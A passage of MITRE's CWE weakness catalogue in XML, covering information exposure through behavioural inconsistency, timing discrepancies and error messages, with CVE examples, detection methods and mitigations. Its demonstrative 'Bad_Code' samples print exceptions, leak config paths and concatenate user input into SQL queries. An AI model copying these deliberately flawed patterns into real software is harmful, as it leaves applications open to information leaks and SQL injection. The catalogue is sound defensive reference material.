					          <Observed_Example_Reference>CVE-2005-2025</Observed_Example_Reference>
					          <Observed_Example_Description>Valid groupname enumeration via behavioral
						infoleak (sends response if valid, doesn't respond if
						not).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1497</Observed_Example_Reference>
					          <Observed_Example_Description>Behavioral infoleak in GUI allows attackers to
						distinguish between alphanumeric and non-alphanumeric characters in a
						password, thus reducing the search space.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0190</Observed_Example_Reference>
					          <Observed_Example_Description>Product immediately sends an error message when
						user does not exist instead of waiting until the password is provided,
						allowing username enumeration.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Internal behavioral inconsistency infoleak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Internal Behavioral
						Inconsistency Information Leak</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="207" Name="Information Exposure Through an External Behavioral Inconsistency" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product behaves differently than other products like it, in
					a way that is observable to an attacker and exposes security-relevant
					information about which product is being used.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>205</Relationship_Target_ID>
					          <!--Information Exposure Through Behavioral Discrepancy-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0208</Observed_Example_Reference>
					          <Observed_Example_Description>Product modifies TCP/IP stack and ICMP error
						messages in unusual ways that show the product is in
						use.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2252</Observed_Example_Reference>
					          <Observed_Example_Description>Behavioral infoleak by responding to SYN-FIN
						packets.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1142</Observed_Example_Reference>
					          <Observed_Example_Description>Honeypot generates an error with a "pwd" command
						in a particular directory, allowing attacker to know they are in a honeypot
						system.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>External behavioral inconsistency infoleak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-12-28">External Behavioral
						Inconsistency Information Leak</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="208" Name="Information Exposure Through Timing Discrepancy" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Two separate operations in a product require different amounts
					of time to complete, in a way that is observable to an actor and reveals
					security-relevant information about the state of the product, such as whether a
					particular operation was successful or not.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>203</Relationship_Target_ID>
					          <!--Information Exposure Through Discrepancy-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>327</Relationship_Target_ID>
					          <!--Use of a Broken or Risky Cryptographic Algorithm-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Often primary in cryptographic applications and algorithms.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Attack: Timing attack</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0078</Observed_Example_Reference>
					          <Observed_Example_Description> SSL implementation does not perform a MAC
						computation if an incorrect block cipher padding is used, which causes an
						information leak (timing discrepancy) that may make it easier to launch
						cryptographic attacks that rely on distinguishing between padding and MAC
						verification errors, possibly leading to extraction of the original
						plaintext, aka the "Vaudenay timing attack." </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1117</Observed_Example_Reference>
					          <Observed_Example_Description> Virtual machine allows malicious web site
						operators to determine the existence of files on the client by measuring
						delays in the execution of the getSystemResource method.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0637</Observed_Example_Reference>
					          <Observed_Example_Description> Product uses a shorter timeout for a non-existent
						user than a valid user, which makes it easier for remote attackers to guess
						usernames and conduct brute force password guessing.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0190</Observed_Example_Reference>
					          <Observed_Example_Description> Product immediately sends an error message when a
						user does not exist, which allows remote attackers to determine valid
						usernames via a timing attack. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1602</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server responds in a different amount of time
						when a given username exists, which allows remote attackers to identify
						valid usernames by timing the server response.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0918</Observed_Example_Reference>
					          <Observed_Example_Description> Browser allows remote attackers to determine the
						existence of arbitrary files by setting the src property to the target
						filename and using Javascript to determine if the web page immediately stops
						loading, which indicates whether the file exists or not.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Cryptography, authentication</Functional_Area>
			      </Functional_Areas>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Timing discrepancy infoleak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Timing Discrepancy
						Information Leak</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="209" Name="Information Exposure Through an Error Message" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software generates an error message that includes sensitive
					information about its environment, users, or associated
					data.</Description_Summary>
				        <Extended_Description>
					          <Text>The sensitive information may be valuable information on its own (such as
						a password), or it may be useful for launching other, more deadly attacks.
						If an attack fails, an attacker may use error information provided by the
						server to launch another more focused attack. For example, an attempt to
						exploit a path traversal weakness (CWE-22) might yield the full pathname of
						the installed application. In turn, this could be used to select the proper
						number of ".." sequences to navigate to the targeted file. An attack using
						SQL injection (CWE-89) might not initially succeed, but an error message
						could reveal the malformed query, which would expose query logic and
						possibly even passwords or other sensitive information used within the
						query.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>801</Relationship_Target_ID>
					          <!--2010 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>755</Relationship_Target_ID>
					          <!--Improper Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>815</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A6 - Security Misconfiguration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>717</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>728</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A7 - Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>751</Relationship_Target_ID>
					          <!--2009 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>880</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Often" Language_Name="PHP"/>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>System Configuration</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Often this will either reveal sensitive information which may be used
							for a later attack or private information stored in the server.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness generally requires domain-specific interpretation using
							manual analysis. However, the number of potential error conditions may
							be too large to cover completely within limited time constraints.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated methods may be able to detect certain idioms automatically,
							such as exposed stack traces or pathnames, but violation of business
							rules or privacy requirements is not typically feasible.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
						            <Text>Error conditions may be triggered with a stress-test by calling the
							software simultaneously from a large number of threads or processes, and
							look for evidence of any unexpected behavior.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-12">
					          <Method_Name>Manual Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Identify error conditions that are not likely to occur during normal
							usage and trigger them. For example, run the program under low memory
							conditions, run with insufficient privileges or permissions, interrupt a
							transaction before it is completed, or disable connectivity to basic
							network services such as DNS. Monitor the software for any unexpected
							behavior. If you trigger an unhandled exception or similar error that
							was discovered and handled by the application's environment, it may
							still indicate unexpected conditions that were not handled by the
							application itself.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-39">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that error messages only contain minimal details that are
							useful to the intended audience, and nobody else. The messages need to
							strike the balance between being too cryptic and not being cryptic
							enough. They should not necessarily reveal the methods that were used to
							determine the error. Such detailed information can be used to refine the
							original attack to increase the chances of success.</Text>
						            <Text>If errors must be tracked in some detail, capture them in log messages
							- but consider what could occur if the log messages can be viewed by
							attackers. Avoid recording highly sensitive information such as
							passwords in any form. Avoid inconsistent messaging that might
							accidentally tip off an attacker about internal state, such as whether a
							username is valid or not.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Handle exceptions internally and do not display errors containing
							potentially sensitive information to a user.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-33">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use naming conventions and strong types to make it easier to spot when
							sensitive data is being used. When creating structures, objects, or
							other complex entities, separate the sensitive and non-sensitive data as
							much as possible.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This makes it easier to spot places in the code where data is being
							used that is unencrypted.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-40">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Debugging information should not make its way into a production
							release.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Where available, configure the environment to use less verbose error
							messages. For example, in PHP, disable the display_errors setting during
							configuration, or at runtime using the error_reporting()
							function.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Create default error pages or messages that do not leak any
							information.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, sensitive information might be printed
						depending on the exception that occurs.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>/.../</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch (Exception e) {</Code>
							              <Block>
								                <Code>System.out.println(e);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If an exception related to SQL is handled by the catch, then the
							output might contain sensitive information such as SQL query structure
							or private information. If this output is redirected to a web user, this
							may represent a security problem.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This code tries to open a database connection, and prints any
						exceptions that occur.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> try { </Code>
							              <Block>
								                <Code> openDbConnection(); </Code>
							              </Block>
							              <Code> } </Code>
							              <Comment>//print exception message that includes exception message and
								configuration file location </Comment>
							              <Code>catch (Exception $e) { </Code>
							              <Block>
								                <Code>echo 'Caught exception: ', $e-&gt;getMessage(), '\n'; </Code>
								                <Code>echo 'Check credentials in config file at: ',
									$Mysql_config_location, '\n'; </Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If an exception occurs, the printed message exposes the location of
							the configuration file the script is using. An attacker can use this
							information to target the configuration file (perhaps exploiting a Path
							Traversal weakness). If the file can be read, the attacker could gain
							credentials for accessing the database. The attacker may also be able to
							replace the file with a malicious one, causing the application to use an
							arbitrary database.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code generates an error message that leaks the full
						pathname of the configuration file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$ConfigDir = "/home/myprog/config";</Code>
							              <Code>$uname = GetUserInput("username");</Code>
							              <Comment># avoid CWE-22, CWE-78, others.</Comment>
							              <Code>ExitError("Bad hacker!") if ($uname !~ /^\w+$/);</Code>
							              <Code>$file = "$ConfigDir/$uname.txt";</Code>
							              <Code>if (! (-e $file)) {</Code>
							              <Block>
								                <Code>ExitError("Error: $file does not exist");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>If this code is running on a server, such as a web application, then
							the person making the request should not know what the full pathname of
							the configuration directory is. By submitting a username that does not
							produce a $file that exists, an attacker could get this pathname. It
							could then be used to exploit path traversal or symbolic link following
							problems that may exist elsewhere in the application.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the example below, the method getUserBankAccount retrieves a bank
						account object from a database using the supplied username and account
						number to query the database. If an SQLException is raised when querying the
						database, an error message is created and output to a log file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public BankAccount getUserBankAccount(String username, String
								accountNumber) {</Code>
							              <Block>
								                <Code>BankAccount userAccount = null;</Code>
								                <Code>String query = null;</Code>
								                <Code>try {</Code>
								                <Block>
									                  <Code>if (isAuthorizedUser(username)) {</Code>
									                  <Block>
										                    <Code>query = "SELECT * FROM accounts WHERE owner = "</Code>
										                    <Code>+ username + " AND accountID = " +
											accountNumber;</Code>
										                    <Code>DatabaseManager dbManager = new
											DatabaseManager();</Code>
										                    <Code>Connection conn = dbManager.getConnection();</Code>
										                    <Code>Statement stmt = conn.createStatement();</Code>
										                    <Code>ResultSet queryResult =
											stmt.executeQuery(query);</Code>
										                    <Code>userAccount =
											(BankAccount)queryResult.getObject(accountNumber);</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>} catch (SQLException ex) {</Code>
								                <Block>
									                  <Code>String logMessage = "Unable to retrieve account
										information from database,\nquery: " + query;</Code>
									                  <Code>Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE,
										logMessage, ex);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return userAccount;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The error message that is created includes information about the
							database query that may contain sensitive information about the database
							or query logic. In this case, the error message will expose the table
							name and column names used in the database. This data could be used to
							simplify other attacks, such as SQL injection (CWE-89) to directly
							access the database.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
